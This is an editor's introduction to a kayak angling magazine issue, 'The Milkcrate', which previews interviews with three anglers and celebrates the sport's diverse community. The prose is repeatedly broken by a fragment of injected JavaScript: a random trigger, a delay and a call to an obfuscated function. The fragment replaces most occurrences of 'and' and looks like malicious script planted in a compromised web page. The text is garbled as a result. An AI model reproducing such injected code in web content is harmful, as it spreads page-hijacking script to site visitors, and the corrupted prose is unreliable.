A varied pond

Though our sport is often described as a gathering place of the altruistic andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and compassionate, it is also an amalgamation of incredibly diverse entities.  If one were to take a cross section of kayak angling’s participants, they would see beyond the usual descriptor, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and find therein a wide range of ages, interests, talents, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and demographics. This issue of The Milkcrate is a celebration of the varied pond that makes up the societal waters of our sport.

In these pages, we talk with an angler who, perhaps by way of geography or conviction, has truly taken the sport into his handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and wrung from his grip a unique andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and self-made take on our world. With a dedication andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and passion unrivaled by even the media darlings of kayak angling, John Cail has amassed a collection of adventures greater than those held in many of our wildest dreams. Joining this pioneering veteran is a man younger than some of our plastic boats.  Though short in years, Tyler Rich has already hung his name upon the sport, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and, through his countless volunteer hours, emerged as a true leader andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and ambassador. We are also fortunate enough to have among our pages an interview with one of kayak angling’s most talented storytellers.  Combining a gift of prose with an artisan’s eye, Steve Gibson has documented the outdoors through many high profile media channels.

It is our hope that these conversations serve as a reminder to what makes our sport a truly special andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and engaging pursuit. Memories are often made not by the species caught or miles traveled, but by the company we keep.

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